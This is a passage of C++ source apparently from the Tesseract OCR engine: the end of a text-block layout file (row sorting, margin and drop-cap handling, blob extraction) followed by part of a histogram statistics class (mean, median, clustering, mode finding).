return (*(ROW **) row2)->bounding_box ().top () -
(*(ROW **) row1)->bounding_box ().top ();
}
/**
* BLOCK::rotate
*
* Rotate the polygon by the given rotation and recompute the bounding_box.
*/
void BLOCK::rotate(const FCOORD& rotation) {
poly_block()->rotate(rotation);
box = *poly_block()->bounding_box();
}
/**
* BLOCK::reflect_polygon_in_y_axis
*
* Reflects the polygon in the y-axis and recompute the bounding_box.
* Does nothing to any contained rows/words/blobs etc.
*/
void BLOCK::reflect_polygon_in_y_axis() {
poly_block()->reflect_in_y_axis();
box = *poly_block()->bounding_box();
}
/**
* BLOCK::sort_rows
*
* Order rows so that they are in order of decreasing Y coordinate
*/
void BLOCK::sort_rows() { // order on "top"
ROW_IT row_it(&rows);
row_it.sort (decreasing_top_order);
}
/**
* BLOCK::compress
*
* Delete space between the rows. (And maybe one day, compress the rows)
* Fill space of block from top down, left aligning rows.
*/
void BLOCK::compress() { // squash it up
#define ROW_SPACING 5
ROW_IT row_it(&rows);
ROW *row;
ICOORD row_spacing (0, ROW_SPACING);
ICOORDELT_IT icoordelt_it;
sort_rows();
box = TBOX (box.topleft (), box.topleft ());
box.move_bottom_edge (ROW_SPACING);
for (row_it.mark_cycle_pt (); !row_it.cycled_list (); row_it.forward ()) {
row = row_it.data ();
row->move (box.botleft () - row_spacing -
row->bounding_box ().topleft ());
box += row->bounding_box ();
}
leftside.clear ();
icoordelt_it.set_to_list (&leftside);
icoordelt_it.add_to_end (new ICOORDELT (box.left (), box.bottom ()));
icoordelt_it.add_to_end (new ICOORDELT (box.left (), box.top ()));
rightside.clear ();
icoordelt_it.set_to_list (&rightside);
icoordelt_it.add_to_end (new ICOORDELT (box.right (), box.bottom ()));
icoordelt_it.add_to_end (new ICOORDELT (box.right (), box.top ()));
}
/**
* BLOCK::check_pitch
*
* Check whether the block is fixed or prop, set the flag, and set
* the pitch if it is fixed.
*/
void BLOCK::check_pitch() { // check prop
// tprintf("Missing FFT fixed pitch stuff!\n");
pitch = -1;
}
/**
* BLOCK::compress
*
* Compress and move in a single operation.
*/
void BLOCK::compress( // squash it up
const ICOORD vec // and move
) {
box.move (vec);
compress();
}
/**
* BLOCK::print
*
* Print the info on a block
*/
void BLOCK::print( //print list of sides
FILE *, //< file to print on
BOOL8 dump //< print full detail
) {
ICOORDELT_IT it = &leftside; //iterator
box.print ();
tprintf ("Proportional= %s\n", proportional ? "TRUE" : "FALSE");
tprintf ("Kerning= %d\n", kerning);
tprintf ("Spacing= %d\n", spacing);
tprintf ("Fixed_pitch=%d\n", pitch);
tprintf ("Filename= %s\n", filename.string ());
if (dump) {
tprintf ("Left side coords are:\n");
for (it.mark_cycle_pt (); !it.cycled_list (); it.forward ())
tprintf ("(%d,%d) ", it.data ()->x (), it.data ()->y ());
tprintf ("\n");
tprintf ("Right side coords are:\n");
it.set_to_list (&rightside);
for (it.mark_cycle_pt (); !it.cycled_list (); it.forward ())
tprintf ("(%d,%d) ", it.data ()->x (), it.data ()->y ());
tprintf ("\n");
}
}
/**
* BLOCK::operator=
*
* Assignment - duplicate the block structure, but with an EMPTY row list.
*/
BLOCK & BLOCK::operator= ( //assignment
const BLOCK & source //from this
) {
this->ELIST_LINK::operator= (source);
this->PDBLK::operator= (source);
proportional = source.proportional;
kerning = source.kerning;
spacing = source.spacing;
filename = source.filename; //STRINGs assign ok
if (!rows.empty ())
rows.clear ();
re_rotation_ = source.re_rotation_;
classify_rotation_ = source.classify_rotation_;
skew_ = source.skew_;
return *this;
}
// This function is for finding the approximate (horizontal) distance from
// the x-coordinate of the left edge of a symbol to the left edge of the
// text block which contains it. We are passed:
// segments - output of PB_LINE_IT::get_line() which contains x-coordinate
// intervals for the scan line going through the symbol's y-coordinate.
// Each element of segments is of the form (x()=start_x, y()=length).
// x - the x coordinate of the symbol we're interested in.
// margin - return value, the distance from x,y to the left margin of the
// block containing it.
// If all segments were to the right of x, we return false and 0.
bool LeftMargin(ICOORDELT_LIST *segments, int x, int *margin) {
bool found = false;
*margin = 0;
if (segments->empty())
return found;
ICOORDELT_IT seg_it(segments);
for (seg_it.mark_cycle_pt(); !seg_it.cycled_list(); seg_it.forward()) {
int cur_margin = x - seg_it.data()->x();
if (cur_margin >= 0) {
if (!found) {
*margin = cur_margin;
} else if (cur_margin < *margin) {
*margin = cur_margin;
}
found = true;
}
}
return found;
}
// This function is for finding the approximate (horizontal) distance from
// the x-coordinate of the right edge of a symbol to the right edge of the
// text block which contains it. We are passed:
// segments - output of PB_LINE_IT::get_line() which contains x-coordinate
// intervals for the scan line going through the symbol's y-coordinate.
// Each element of segments is of the form (x()=start_x, y()=length).
// x - the x coordinate of the symbol we're interested in.
// margin - return value, the distance from x,y to the right margin of the
// block containing it.
// If all segments were to the left of x, we return false and 0.
bool RightMargin(ICOORDELT_LIST *segments, int x, int *margin) {
bool found = false;
*margin = 0;
if (segments->empty())
return found;
ICOORDELT_IT seg_it(segments);
for (seg_it.mark_cycle_pt(); !seg_it.cycled_list(); seg_it.forward()) {
int cur_margin = seg_it.data()->x() + seg_it.data()->y() - x;
if (cur_margin >= 0) {
if (!found) {
*margin = cur_margin;
} else if (cur_margin < *margin) {
*margin = cur_margin;
}
found = true;
}
}
return found;
}
// Compute the distance from the left and right ends of each row to the
// left and right edges of the block's polyblock. Illustration:
// ____________________________ _______________________
// | Howdy neighbor! | |rectangular blocks look|
// | This text is written to| |more like stacked pizza|
// |illustrate how useful poly- |boxes. |
// |blobs are in ----------- ------ The polyblob|
// |dealing with| _________ |for a BLOCK rec-|
// |harder layout| /===========\ |ords the possibly|
// |issues. | | _ _ | |skewed pseudo-|
// | You see this| | |_| \|_| | |rectangular |
// |text is flowed| | } | |boundary that|
// |around a mid-| \ ____ | |forms the ideal-|
// |cloumn portrait._____ \ / __|ized text margin|
// | Polyblobs exist| \ / |from which we should|
// |to account for insets| | | |measure paragraph|
// |which make otherwise| ----- |indentation. |
// ----------------------- ----------------------
//
// If we identify a drop-cap, we measure the left margin for the lines
// below the first line relative to one space past the drop cap. The
// first line's margin and those past the drop cap area are measured
// relative to the enclosing polyblock.
//
// TODO(rays): Before this will work well, we'll need to adjust the
// polyblob tighter around the text near images, as in:
// UNLV_AUTO:mag.3G0 page 2
// UNLV_AUTO:mag.3G4 page 16
void BLOCK::compute_row_margins() {
if (row_list()->empty() || row_list()->singleton()) {
return;
}
// If Layout analysis was not called, default to this.
POLY_BLOCK rect_block(bounding_box(), PT_FLOWING_TEXT);
POLY_BLOCK *pblock = &rect_block;
if (poly_block() != NULL) {
pblock = poly_block();
}
// Step One: Determine if there is a drop-cap.
// TODO(eger): Fix up drop cap code for RTL languages.
ROW_IT r_it(row_list());
ROW *first_row = r_it.data();
ROW *second_row = r_it.data_relative(1);
// initialize the bottom of a fictitious drop cap far above the first line.
int drop_cap_bottom = first_row->bounding_box().top() +
first_row->bounding_box().height();
int drop_cap_right = first_row->bounding_box().left();
int mid_second_line = second_row->bounding_box().top() -
second_row->bounding_box().height() / 2;
WERD_IT werd_it(r_it.data()->word_list()); // words of line one
if (!werd_it.empty()) {
C_BLOB_IT cblob_it(werd_it.data()->cblob_list());
for (cblob_it.mark_cycle_pt(); !cblob_it.cycled_list();
cblob_it.forward()) {
TBOX bbox = cblob_it.data()->bounding_box();
if (bbox.bottom() <= mid_second_line) {
// we found a real drop cap
first_row->set_has_drop_cap(true);
if (drop_cap_bottom > bbox.bottom())
drop_cap_bottom = bbox.bottom();
if (drop_cap_right < bbox.right())
drop_cap_right = bbox.right();
}
}
}
// Step Two: Calculate the margin from the text of each row to the block
// (or drop-cap) boundaries.
PB_LINE_IT lines(pblock);
r_it.set_to_list(row_list());
for (r_it.mark_cycle_pt(); !r_it.cycled_list(); r_it.forward()) {
ROW *row = r_it.data();
TBOX row_box = row->bounding_box();
int left_y = row->base_line(row_box.left()) + row->x_height();
int left_margin;
ICOORDELT_LIST *segments = lines.get_line(left_y);
LeftMargin(segments, row_box.left(), &left_margin);
delete segments;
if (row_box.top() >= drop_cap_bottom) {
int drop_cap_distance = row_box.left() - row->space() - drop_cap_right;
if (drop_cap_distance < 0)
drop_cap_distance = 0;
if (drop_cap_distance < left_margin)
left_margin = drop_cap_distance;
}
int right_y = row->base_line(row_box.right()) + row->x_height();
int right_margin;
segments = lines.get_line(right_y);
RightMargin(segments, row_box.right(), &right_margin);
delete segments;
row->set_lmargin(left_margin);
row->set_rmargin(right_margin);
}
}
/**********************************************************************
* PrintSegmentationStats
*
* Prints segmentation stats for the given block list.
**********************************************************************/
void PrintSegmentationStats(BLOCK_LIST* block_list) {
int num_blocks = 0;
int num_rows = 0;
int num_words = 0;
int num_blobs = 0;
BLOCK_IT block_it(block_list);
for (block_it.mark_cycle_pt(); !block_it.cycled_list(); block_it.forward()) {
BLOCK* block = block_it.data();
++num_blocks;
ROW_IT row_it(block->row_list());
for (row_it.mark_cycle_pt(); !row_it.cycled_list(); row_it.forward()) {
++num_rows;
ROW* row = row_it.data();
// Iterate over all werds in the row.
WERD_IT werd_it(row->word_list());
for (werd_it.mark_cycle_pt(); !werd_it.cycled_list(); werd_it.forward()) {
WERD* werd = werd_it.data();
++num_words;
num_blobs += werd->cblob_list()->length();
}
}
}
tprintf("Block list stats:\nBlocks = %d\nRows = %d\nWords = %d\nBlobs = %d\n",
num_blocks, num_rows, num_words, num_blobs);
}
/**********************************************************************
* ExtractBlobsFromSegmentation
*
* Extracts blobs from the given block list and adds them to the output list.
* The block list must have been created by performing a page segmentation.
**********************************************************************/
void ExtractBlobsFromSegmentation(BLOCK_LIST* blocks,
C_BLOB_LIST* output_blob_list) {
C_BLOB_IT return_list_it(output_blob_list);
BLOCK_IT block_it(blocks);
for (block_it.mark_cycle_pt(); !block_it.cycled_list(); block_it.forward()) {
BLOCK* block = block_it.data();
ROW_IT row_it(block->row_list());
for (row_it.mark_cycle_pt(); !row_it.cycled_list(); row_it.forward()) {
ROW* row = row_it.data();
// Iterate over all werds in the row.
WERD_IT werd_it(row->word_list());
for (werd_it.mark_cycle_pt(); !werd_it.cycled_list(); werd_it.forward()) {
WERD* werd = werd_it.data();
return_list_it.move_to_last();
return_list_it.add_list_after(werd->cblob_list());
return_list_it.move_to_last();
return_list_it.add_list_after(werd->rej_cblob_list());
}
}
}
}
/**********************************************************************
* RefreshWordBlobsFromNewBlobs()
*
* Refreshes the words in the block_list by using blobs in the
* new_blobs list.
* Block list must have word segmentation in it.
* It consumes the blobs provided in the new_blobs list. The blobs leftover in
* the new_blobs list after the call weren't matched to any blobs of the words
* in block list.
* The output not_found_blobs is a list of blobs from the original segmentation
* in the block_list for which no corresponding new blobs were found.
**********************************************************************/
void RefreshWordBlobsFromNewBlobs(BLOCK_LIST* block_list,
C_BLOB_LIST* new_blobs,
C_BLOB_LIST* not_found_blobs) {
// Now iterate over all the blobs in the segmentation_block_list_, and just
// replace the corresponding c-blobs inside the werds.
BLOCK_IT block_it(block_list);
for (block_it.mark_cycle_pt(); !block_it.cycled_list(); block_it.forward()) {
BLOCK* block = block_it.data();
if (block->poly_block() != NULL && !block->poly_block()->IsText())
continue; // Don't touch non-text blocks.
// Iterate over all rows in the block.
ROW_IT row_it(block->row_list());
for (row_it.mark_cycle_pt(); !row_it.cycled_list(); row_it.forward()) {
ROW* row = row_it.data();
// Iterate over all werds in the row.
WERD_IT werd_it(row->word_list());
WERD_LIST new_words;
WERD_IT new_words_it(&new_words);
for (werd_it.mark_cycle_pt(); !werd_it.cycled_list(); werd_it.forward()) {
WERD* werd = werd_it.extract();
WERD* new_werd = werd->ConstructWerdWithNewBlobs(new_blobs,
not_found_blobs);
if (new_werd) {
// Insert this new werd into the actual row's werd-list. Remove the
// existing one.
new_words_it.add_after_then_move(new_werd);
delete werd;
} else {
// Reinsert the older word back, for lack of better options.
// This is critical since dropping the words messes up segmentation:
// eg. 1st word in the row might otherwise have W_FUZZY_NON turned on.
new_words_it.add_after_then_move(werd);
}
}
// Get rid of the old word list & replace it with the new one.
row->word_list()->clear();
werd_it.move_to_first();
werd_it.add_list_after(&new_words);
}
}
}
| C++ |
/**********************************************************************
* File: statistc.c (Formerly stats.c)
* Description: Simple statistical package for integer values.
* Author: Ray Smith
* Created: Mon Feb 04 16:56:05 GMT 1991
*
* (C) Copyright 1991, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
// Include automatically generated configuration file if running autoconf.
#ifdef HAVE_CONFIG_H
#include "config_auto.h"
#endif
#include "statistc.h"
#include <string.h>
#include <math.h>
#include <stdlib.h>
#include "helpers.h"
#include "scrollview.h"
#include "tprintf.h"
using tesseract::KDPairInc;
/**********************************************************************
* STATS::STATS
*
* Construct a new stats element by allocating and zeroing the memory.
**********************************************************************/
STATS::STATS(inT32 min_bucket_value, inT32 max_bucket_value_plus_1) {
if (max_bucket_value_plus_1 <= min_bucket_value) {
min_bucket_value = 0;
max_bucket_value_plus_1 = 1;
}
rangemin_ = min_bucket_value; // setup
rangemax_ = max_bucket_value_plus_1;
buckets_ = new inT32[rangemax_ - rangemin_];
clear();
}
STATS::STATS() {
rangemax_ = 0;
rangemin_ = 0;
buckets_ = NULL;
}
/**********************************************************************
* STATS::set_range
*
* Alter the range on an existing stats element.
**********************************************************************/
bool STATS::set_range(inT32 min_bucket_value, inT32 max_bucket_value_plus_1) {
if (max_bucket_value_plus_1 <= min_bucket_value) {
return false;
}
if (rangemax_ - rangemin_ != max_bucket_value_plus_1 - min_bucket_value) {
delete [] buckets_;
buckets_ = new inT32[max_bucket_value_plus_1 - min_bucket_value];
}
rangemin_ = min_bucket_value; // setup
rangemax_ = max_bucket_value_plus_1;
clear(); // zero it
return true;
}
/**********************************************************************
* STATS::clear
*
* Clear out the STATS class by zeroing all the buckets.
**********************************************************************/
void STATS::clear() { // clear out buckets
total_count_ = 0;
if (buckets_ != NULL)
memset(buckets_, 0, (rangemax_ - rangemin_) * sizeof(buckets_[0]));
}
/**********************************************************************
* STATS::~STATS
*
* Destructor for a stats class.
**********************************************************************/
STATS::~STATS () {
if (buckets_ != NULL) {
delete [] buckets_;
buckets_ = NULL;
}
}
/**********************************************************************
* STATS::add
*
* Add a set of samples to (or delete from) a pile.
**********************************************************************/
void STATS::add(inT32 value, inT32 count) {
if (buckets_ == NULL) {
return;
}
value = ClipToRange(value, rangemin_, rangemax_ - 1);
buckets_[value - rangemin_] += count;
total_count_ += count; // keep count of total
}
/**********************************************************************
* STATS::mode
*
* Find the mode of a stats class.
**********************************************************************/
inT32 STATS::mode() const { // get mode of samples
if (buckets_ == NULL) {
return rangemin_;
}
inT32 max = buckets_[0]; // max cell count
inT32 maxindex = 0; // index of max
for (int index = rangemax_ - rangemin_ - 1; index > 0; --index) {
if (buckets_[index] > max) {
max = buckets_[index]; // find biggest
maxindex = index;
}
}
return maxindex + rangemin_; // index of biggest
}
/**********************************************************************
* STATS::mean
*
* Find the mean of a stats class.
**********************************************************************/
double STATS::mean() const { //get mean of samples
if (buckets_ == NULL || total_count_ <= 0) {
return static_cast<double>(rangemin_);
}
inT64 sum = 0;
for (int index = rangemax_ - rangemin_ - 1; index >= 0; --index) {
sum += static_cast<inT64>(index) * buckets_[index];
}
return static_cast<double>(sum) / total_count_ + rangemin_;
}
/**********************************************************************
* STATS::sd
*
* Find the standard deviation of a stats class.
**********************************************************************/
double STATS::sd() const { //standard deviation
if (buckets_ == NULL || total_count_ <= 0) {
return 0.0;
}
inT64 sum = 0;
double sqsum = 0.0;
for (int index = rangemax_ - rangemin_ - 1; index >= 0; --index) {
sum += static_cast<inT64>(index) * buckets_[index];
sqsum += static_cast<double>(index) * index * buckets_[index];
}
double variance = static_cast<double>(sum) / total_count_;
variance = sqsum / total_count_ - variance * variance;
if (variance > 0.0)
return sqrt(variance);
return 0.0;
}
/**********************************************************************
* STATS::ile
*
* Returns the fractile value such that frac fraction (in [0,1]) of samples
* has a value less than the return value.
**********************************************************************/
double STATS::ile(double frac) const {
if (buckets_ == NULL || total_count_ == 0) {
return static_cast<double>(rangemin_);
}
#if 0
// TODO(rays) The existing code doesn't seem to be doing the right thing
// with target a double but this substitute crashes the code that uses it.
// Investigate and fix properly.
int target = IntCastRounded(frac * total_count_);
target = ClipToRange(target, 1, total_count_);
#else
double target = frac * total_count_;
target = ClipToRange(target, 1.0, static_cast<double>(total_count_));
#endif
int sum = 0;
int index = 0;
for (index = 0; index < rangemax_ - rangemin_ && sum < target;
sum += buckets_[index++]);
if (index > 0) {
ASSERT_HOST(buckets_[index - 1] > 0);
return rangemin_ + index -
static_cast<double>(sum - target) / buckets_[index - 1];
} else {
return static_cast<double>(rangemin_);
}
}
/**********************************************************************
* STATS::min_bucket
*
* Find REAL minimum bucket - ile(0.0) isnt necessarily correct
**********************************************************************/
inT32 STATS::min_bucket() const { // Find min
if (buckets_ == NULL || total_count_ == 0) {
return rangemin_;
}
inT32 min = 0;
for (min = 0; (min < rangemax_ - rangemin_) && (buckets_[min] == 0); min++);
return rangemin_ + min;
}
/**********************************************************************
* STATS::max_bucket
*
* Find REAL maximum bucket - ile(1.0) isnt necessarily correct
**********************************************************************/
inT32 STATS::max_bucket() const { // Find max
if (buckets_ == NULL || total_count_ == 0) {
return rangemin_;
}
inT32 max;
for (max = rangemax_ - rangemin_ - 1; max > 0 && buckets_[max] == 0; max--);
return rangemin_ + max;
}
/**********************************************************************
* STATS::median
*
* Finds a more useful estimate of median than ile(0.5).
*
* Overcomes a problem with ile() - if the samples are, for example,
* 6,6,13,14 ile(0.5) return 7.0 - when a more useful value would be midway
* between 6 and 13 = 9.5
**********************************************************************/
double STATS::median() const { //get median
if (buckets_ == NULL) {
return static_cast<double>(rangemin_);
}
double median = ile(0.5);
int median_pile = static_cast<int>(floor(median));
if ((total_count_ > 1) && (pile_count(median_pile) == 0)) {
inT32 min_pile;
inT32 max_pile;
/* Find preceeding non zero pile */
for (min_pile = median_pile; pile_count(min_pile) == 0; min_pile--);
/* Find following non zero pile */
for (max_pile = median_pile; pile_count(max_pile) == 0; max_pile++);
median = (min_pile + max_pile) / 2.0;
}
return median;
}
/**********************************************************************
* STATS::local_min
*
* Return TRUE if this point is a local min.
**********************************************************************/
bool STATS::local_min(inT32 x) const {
if (buckets_ == NULL) {
return false;
}
x = ClipToRange(x, rangemin_, rangemax_ - 1) - rangemin_;
if (buckets_[x] == 0)
return true;
inT32 index; // table index
for (index = x - 1; index >= 0 && buckets_[index] == buckets_[x]; --index);
if (index >= 0 && buckets_[index] < buckets_[x])
return false;
for (index = x + 1; index < rangemax_ - rangemin_ &&
buckets_[index] == buckets_[x]; ++index);
if (index < rangemax_ - rangemin_ && buckets_[index] < buckets_[x])
return false;
else
return true;
}
/**********************************************************************
* STATS::smooth
*
* Apply a triangular smoothing filter to the stats.
* This makes the modes a bit more useful.
* The factor gives the height of the triangle, i.e. the weight of the
* centre.
**********************************************************************/
void STATS::smooth(inT32 factor) {
if (buckets_ == NULL || factor < 2) {
return;
}
STATS result(rangemin_, rangemax_);
int entrycount = rangemax_ - rangemin_;
for (int entry = 0; entry < entrycount; entry++) {
//centre weight
int count = buckets_[entry] * factor;
for (int offset = 1; offset < factor; offset++) {
if (entry - offset >= 0)
count += buckets_[entry - offset] * (factor - offset);
if (entry + offset < entrycount)
count += buckets_[entry + offset] * (factor - offset);
}
result.add(entry + rangemin_, count);
}
total_count_ = result.total_count_;
memcpy(buckets_, result.buckets_, entrycount * sizeof(buckets_[0]));
}
/**********************************************************************
* STATS::cluster
*
* Cluster the samples into max_cluster clusters.
* Each call runs one iteration. The array of clusters must be
* max_clusters+1 in size as cluster 0 is used to indicate which samples
* have been used.
* The return value is the current number of clusters.
**********************************************************************/
inT32 STATS::cluster(float lower, // thresholds
float upper,
float multiple, // distance threshold
inT32 max_clusters, // max no to make
STATS *clusters) { // array of clusters
BOOL8 new_cluster; // added one
float *centres; // cluster centres
inT32 entry; // bucket index
inT32 cluster; // cluster index
inT32 best_cluster; // one to assign to
inT32 new_centre = 0; // residual mode
inT32 new_mode; // pile count of new_centre
inT32 count; // pile to place
float dist; // from cluster
float min_dist; // from best_cluster
inT32 cluster_count; // no of clusters
if (buckets_ == NULL || max_clusters < 1)
return 0;
centres = new float[max_clusters + 1];
for (cluster_count = 1; cluster_count <= max_clusters
&& clusters[cluster_count].buckets_ != NULL
&& clusters[cluster_count].total_count_ > 0;
cluster_count++) {
centres[cluster_count] =
static_cast<float>(clusters[cluster_count].ile(0.5));
new_centre = clusters[cluster_count].mode();
for (entry = new_centre - 1; centres[cluster_count] - entry < lower
&& entry >= rangemin_
&& pile_count(entry) <= pile_count(entry + 1);
entry--) {
count = pile_count(entry) - clusters[0].pile_count(entry);
if (count > 0) {
clusters[cluster_count].add(entry, count);
clusters[0].add (entry, count);
}
}
for (entry = new_centre + 1; entry - centres[cluster_count] < lower
&& entry < rangemax_
&& pile_count(entry) <= pile_count(entry - 1);
entry++) {
count = pile_count(entry) - clusters[0].pile_count(entry);
if (count > 0) {
clusters[cluster_count].add(entry, count);
clusters[0].add(entry, count);
}
}
}
cluster_count--;
if (cluster_count == 0) {
clusters[0].set_range(rangemin_, rangemax_);
}
do {
new_cluster = FALSE;
new_mode = 0;
for (entry = 0; entry < rangemax_ - rangemin_; entry++) {
count = buckets_[entry] - clusters[0].buckets_[entry];
//remaining pile
if (count > 0) { //any to handle
min_dist = static_cast<float>(MAX_INT32);
best_cluster = 0;
for (cluster = 1; cluster <= cluster_count; cluster++) {
dist = entry + rangemin_ - centres[cluster];
//find distance
if (dist < 0)
dist = -dist;
if (dist < min_dist) {
min_dist = dist; //find least
best_cluster = cluster;
}
}
if (min_dist > upper //far enough for new
&& (best_cluster == 0
|| entry + rangemin_ > centres[best_cluster] * multiple
|| entry + rangemin_ < centres[best_cluster] / multiple)) {
if (count > new_mode) {
new_mode = count;
new_centre = entry + rangemin_;
}
}
}
}
// need new and room
if (new_mode > 0 && cluster_count < max_clusters) {
cluster_count++;
new_cluster = TRUE;
if (!clusters[cluster_count].set_range(rangemin_, rangemax_)) {
delete [] centres;
return 0;
}
centres[cluster_count] = static_cast<float>(new_centre);
clusters[cluster_count].add(new_centre, new_mode);
clusters[0].add(new_centre, new_mode);
for (entry = new_centre - 1; centres[cluster_count] - entry < lower
&& entry >= rangemin_
&& pile_count (entry) <= pile_count(entry + 1); entry--) {
count = pile_count(entry) - clusters[0].pile_count(entry);
if (count > 0) {
clusters[cluster_count].add(entry, count);
clusters[0].add(entry, count);
}
}
for (entry = new_centre + 1; entry - centres[cluster_count] < lower
&& entry < rangemax_
&& pile_count (entry) <= pile_count(entry - 1); entry++) {
count = pile_count(entry) - clusters[0].pile_count(entry);
if (count > 0) {
clusters[cluster_count].add(entry, count);
clusters[0].add (entry, count);
}
}
centres[cluster_count] =
static_cast<float>(clusters[cluster_count].ile(0.5));
}
} while (new_cluster && cluster_count < max_clusters);
delete [] centres;
return cluster_count;
}
// Helper tests that the current index is still part of the peak and gathers
// the data into the peak, returning false when the peak is ended.
// src_buckets[index] - used_buckets[index] is the unused part of the histogram.
// prev_count is the histogram count of the previous index on entry and is
// updated to the current index on return.
// total_count and total_value are accumulating the mean of the peak.
static bool GatherPeak(int index, const int* src_buckets, int* used_buckets,
int* prev_count, int* total_count, double* total_value) {
int pile_count = src_buckets[index] - used_buckets[index];
if (pile_count <= *prev_count && pile_count > 0) {
// Accumulate count and index.count product.
*total_count += pile_count;
*total_value += index * pile_count;
// Mark this index as used
used_buckets[index] = src_buckets[index];
*prev_count = pile_count;
return true;
} else {
return false;
}
}
// Finds (at most) the top max_modes modes, well actually the whole peak around
// each mode, returning them in the given modes vector as a <mean of peak,
// total count of peak> pair in order of decreasing total count.
// Since the mean is the key and the count the data in the pair, a single call
// to sort on the output will re-sort by increasing mean of peak if that is
// more useful than decreasing total count.
// Returns the actual number of modes found.
int STATS::top_n_modes(int max_modes,
GenericVector<KDPairInc<float, int> >* modes) const {
if (max_modes <= 0) return 0;
int src_count = rangemax_ - rangemin_;
// Used copies the counts in buckets_ as they get used.
STATS used(rangemin_, rangemax_);
modes->truncate(0);
// Total count of the smallest peak found so far.
int least_count = 1;
// Mode that is used as a seed for each peak
int max_count = 0;
do {
// Find an unused mode.
max_count = 0;
int max_index = 0;
for (int src_index = 0; src_index < src_count; src_index++) {
int pile_count = buckets_[src_index] - used.buckets_[src_index];
if (pile_count > max_count) {
max_count = pile_count;
max_index = src_index;
}
}
if (max_count > 0) {
// Copy the bucket count to used so it doesn't get found again.
used.buckets_[max_index] = max_count;
// Get the entire peak.
double total_value = max_index * max_count;
int total_count = max_count;
int prev_pile = max_count;
for (int offset = 1; max_index + offset < src_count; ++offset) {
if (!GatherPeak(max_index + offset, buckets_, used.buckets_,
&prev_pile, &total_count, &total_value))
break;
}
prev_pile = buckets_[max_index];
for (int offset = 1; max_index - offset >= 0; ++offset) {
if (!GatherPeak(max_index - offset, buckets_, used.buckets_,
&prev_pile, &total_count, &total_value))
break;
}
if (total_count > least_count || modes->size() < max_modes) {
// We definitely want this mode, so if we have enough discard the least.
if (modes->size() == max_modes)
modes->truncate(max_modes - 1);
int target_index = 0;
// Linear search for the target insertion point.
while (target_index < modes->size() &&
(*modes)[target_index].data >= total_count)
++target_index;
float peak_mean =
static_cast<float>(total_value / total_count + rangemin_);
modes->insert(KDPairInc<float, int>(peak_mean, total_count),
target_index);
least_count = modes->back().data;
}
}
} while (max_count > 0);
return modes->size();
}
/**********************************************************************
* STATS::print
*
* Prints a summary and table of the histogram.
**********************************************************************/
void STATS::print() const {
if (buckets_ == NULL) {
return;
}
inT32 min = min_bucket() - rangemin_;
inT32 max = max_bucket() - rangemin_;
int num_printed = 0;
for (int index = min; index <= max; index++) {
if (buckets_[index] != 0) {
tprintf("%4d:%-3d ", rangemin_ + index, buckets_[index]);
if (++num_printed % 8 == 0)
tprintf ("\n");
}
}
tprintf ("\n");
print_summary();
}
/**********************************************************************
* STATS::print_summary
*
* Print a summary of the stats.
**********************************************************************/
void STATS::print_summary() const {
if (buckets_ == NULL) {
return;
}
inT32 min = min_bucket();
inT32 max = max_bucket();
tprintf("Total count=%d\n", total_count_);
tprintf("Min=%.2f Really=%d\n", ile(0.0), min);
tprintf("Lower quartile=%.2f\n", ile(0.25));
tprintf("Median=%.2f, ile(0.5)=%.2f\n", median(), ile(0.5));
tprintf("Upper quartile=%.2f\n", ile(0.75));
tprintf("Max=%.2f Really=%d\n", ile(1.0), max);
tprintf("Range=%d\n", max + 1 - min);
tprintf("Mean= %.2f\n", mean());
tprintf("SD= %.2f\n", sd());
}
/**********************************************************************
* STATS::plot
*
* Draw a histogram of the stats table.
**********************************************************************/
#ifndef GRAPHICS_DISABLED
void STATS::plot(ScrollView* window, // to draw in
float xorigin, // bottom left
float yorigin,
float xscale, // one x unit
float yscale, // one y unit
ScrollView::Color colour) const { // colour to draw in
if (buckets_ == NULL) {
return;
}
window->Pen(colour);
for (int index = 0; index < rangemax_ - rangemin_; index++) {
window->Rectangle( xorigin + xscale * index, yorigin,
xorigin + xscale * (index + 1),
yorigin + yscale * buckets_[index]);
}
}
#endif
/**********************************************************************
* STATS::plotline
*
* Draw a histogram of the stats table. (Line only)
**********************************************************************/
#ifndef GRAPHICS_DISABLED
void STATS::plotline(ScrollView* window, // to draw in
float xorigin, // bottom left
float yorigin,
float xscale, // one x unit
float yscale, // one y unit
ScrollView::Color colour) const { // colour to draw in
if (buckets_ == NULL) {
return;
}
window->Pen(colour);
window->SetCursor(xorigin, yorigin + yscale * buckets_[0]);
for (int index = 0; index < rangemax_ - rangemin_; index++) {
window->DrawTo(xorigin + xscale * index,
yorigin + yscale * buckets_[index]);
}
}
#endif
/**********************************************************************
* choose_nth_item
*
* Returns the index of what would b the nth item in the array
* if the members were sorted, without actually sorting.
**********************************************************************/
inT32 choose_nth_item(inT32 index, float *array, inT32 count) {
inT32 next_sample; // next one to do
inT32 next_lesser; // space for new
inT32 prev_greater; // last one saved
inT32 equal_count; // no of equal ones
float pivot; // proposed median
float sample; // current sample
if (count <= 1)
return 0;
if (count == 2) {
if (array[0] < array[1]) {
return index >= 1 ? 1 : 0;
}
else {
return index >= 1 ? 0 : 1;
}
}
else {
if (index < 0)
index = 0; // ensure legal
else if (index >= count)
index = count - 1;
equal_count = (inT32) (rand() % count);
pivot = array[equal_count];
// fill gap
array[equal_count] = array[0];
next_lesser = 0;
prev_greater = count;
equal_count = 1;
for (next_sample = 1; next_sample < prev_greater;) {
sample = array[next_sample];
if (sample < pivot) {
// shuffle
array[next_lesser++] = sample;
next_sample++;
}
else if (sample > pivot) {
prev_greater--;
// juggle
array[next_sample] = array[prev_greater];
array[prev_greater] = sample;
}
else {
equal_count++;
next_sample++;
}
}
for (next_sample = next_lesser; next_sample < prev_greater;)
array[next_sample++] = pivot;
if (index < next_lesser)
return choose_nth_item (index, array, next_lesser);
else if (index < prev_greater)
return next_lesser; // in equal bracket
else
return choose_nth_item (index - prev_greater,
array + prev_greater,
count - prev_greater) + prev_greater;
}
}
/**********************************************************************
* choose_nth_item
*
* Returns the index of what would be the nth item in the array
* if the members were sorted, without actually sorting.
**********************************************************************/
inT32 choose_nth_item(inT32 index, void *array, inT32 count, size_t size,
int (*compar)(const void*, const void*)) {
int result; // of compar
inT32 next_sample; // next one to do
inT32 next_lesser; // space for new
inT32 prev_greater; // last one saved
inT32 equal_count; // no of equal ones
inT32 pivot; // proposed median
